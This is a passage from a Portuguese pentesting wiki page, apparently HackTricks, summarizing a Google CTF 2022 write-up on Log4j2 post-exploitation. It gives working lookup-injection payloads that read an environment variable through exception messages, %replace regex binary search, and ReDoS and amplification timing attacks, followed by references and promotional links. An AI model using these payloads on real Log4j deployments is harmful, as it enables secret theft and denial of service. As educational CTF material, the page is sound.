* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
|
||
|
||
## Pós-Exploração do Log4Shell
|
||
|
||
Neste [**writeup do CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) é bem explicado como é **potencialmente possível** **abusar** algumas funcionalidades do **Log4J**.
|
||
|
||
A [**página de segurança**](https://logging.apache.org/log4j/2.x/security.html) do Log4j possui algumas frases interessantes:
|
||
|
||
> A partir da versão 2.16.0 (para Java 8), a funcionalidade de **busca de mensagens foi completamente removida**. **As buscas na configuração ainda funcionam**. Além disso, o Log4j agora desabilita o acesso ao JNDI por padrão. As buscas do JNDI na configuração agora precisam ser habilitadas explicitamente.
|
||
|
||
> A partir da versão 2.17.0 (e 2.12.3 e 2.3.1 para Java 7 e Java 6), **apenas as strings de busca na configuração são expandidas recursivamente**; em qualquer outro uso, apenas a busca de nível superior é resolvida e quaisquer buscas aninhadas não são resolvidas.
|
||
|
||
Isso significa que por padrão você pode **esquecer o uso de qualquer exploit `jndi`**. Além disso, para realizar **buscas recursivas**, você precisa tê-las configuradas.
|
||
|
||
Por exemplo, nesse CTF isso foi configurado no arquivo log4j2.xml:
|
||
```xml
|
||
<Console name="Console" target="SYSTEM_ERR">
|
||
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
|
||
</PatternLayout>
|
||
</Console>
|
||
```
|
||
### Pesquisas de Ambiente
|
||
|
||
Neste CTF, o atacante controlava o valor de `${sys:cmd}` e precisava extrair a flag de uma variável de ambiente.\
|
||
Como visto nesta página em [**cargas anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), existem diferentes maneiras de acessar variáveis de ambiente, como: **`${env:FLAG}`**. Neste CTF, isso foi inútil, mas pode não ser em outros cenários da vida real.
|
||
|
||
### Exfiltração em Exceções
|
||
|
||
No CTF, você **não conseguia acessar o stderr** do aplicativo Java usando o log4J, mas as **exceções do Log4J são enviadas para stdout**, que foi impresso no aplicativo Python. Isso significava que, ao disparar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da flag será mostrada:
|
||
|
||
![](<../../.gitbook/assets/image (157).png>)
|
||
|
||
### Padrões de Conversão em Exceções
|
||
|
||
Apenas para mencionar, você também pode injetar novos [**padrões de conversão**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e disparar exceções que serão registradas em `stdout`. Por exemplo:
|
||
|
||
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
|
||
|
||
Isso não foi útil para extrair dados dentro da mensagem de erro, porque a pesquisa não foi resolvida antes do padrão de conversão, mas pode ser útil para outras coisas, como detecção.
|
||
|
||
### Regexes de Padrões de Conversão
|
||
|
||
No entanto, é possível usar alguns **padrões de conversão que suportam regexes** para extrair informações de uma pesquisa usando regexes e abusando de comportamentos de **busca binária** ou **baseados em tempo**.
|
||
|
||
* **Busca binária por meio de mensagens de exceção**
|
||
|
||
O padrão de conversão **`%replace`** pode ser usado para **substituir** **conteúdo** de uma **string** mesmo usando **regexes**. Funciona assim: `replace{pattern}{regex}{substitution}`\
|
||
\`\`Abusando desse comportamento, você pode fazer com que o **replace dispare uma exceção se o regex corresponder** a qualquer coisa dentro da string (e nenhuma exceção se não for encontrada), assim:
|
||
```bash
|
||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||
## and ONLY if it's found ${error} will be resolved with will trigger an exception
|
||
```
|
||
* **Baseado em tempo**
|
||
|
||
Como mencionado na seção anterior, **`%replace`** suporta **regexes**. Portanto, é possível usar um payload da página [**ReDoS**](../regular-expression-denial-of-service-redos.md) para causar um **timeout** caso a flag seja encontrada.\
|
||
Por exemplo, um payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` causaria um **timeout** nesse CTF.
|
||
|
||
Neste [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), em vez de usar um ataque ReDoS, foi usado um **ataque de amplificação** para causar uma diferença de tempo na resposta:
|
||
|
||
> ```
|
||
> /%replace{
|
||
> %replace{
|
||
> %replace{
|
||
> %replace{
|
||
> %replace{
|
||
> %replace{
|
||
> %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> ```
|
||
>
|
||
> Se a flag começar com `flagGuess`, a flag inteira será substituída por 29 `#`-s (usei esse caractere porque provavelmente não faria parte da flag). **Cada um dos 29 `#`-s resultantes é então substituído por 54 `#`-s**. Esse processo é repetido **6 vezes**, resultando em um total de ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!**
|
||
>
|
||
> Substituir tantos `#`-s acionará o timeout de 10 segundos da aplicação Flask, o que resultará no código de status HTTP 500 sendo enviado ao usuário. (Se a flag não começar com `flagGuess`, receberemos um código de status não-500)
|
||
|
||
## Referências
|
||
|
||
* [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
|
||
* [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
|
||
* [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
|
||
* [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)
|
||
* [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78)
|
||
* [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
|
||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Encontre as vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|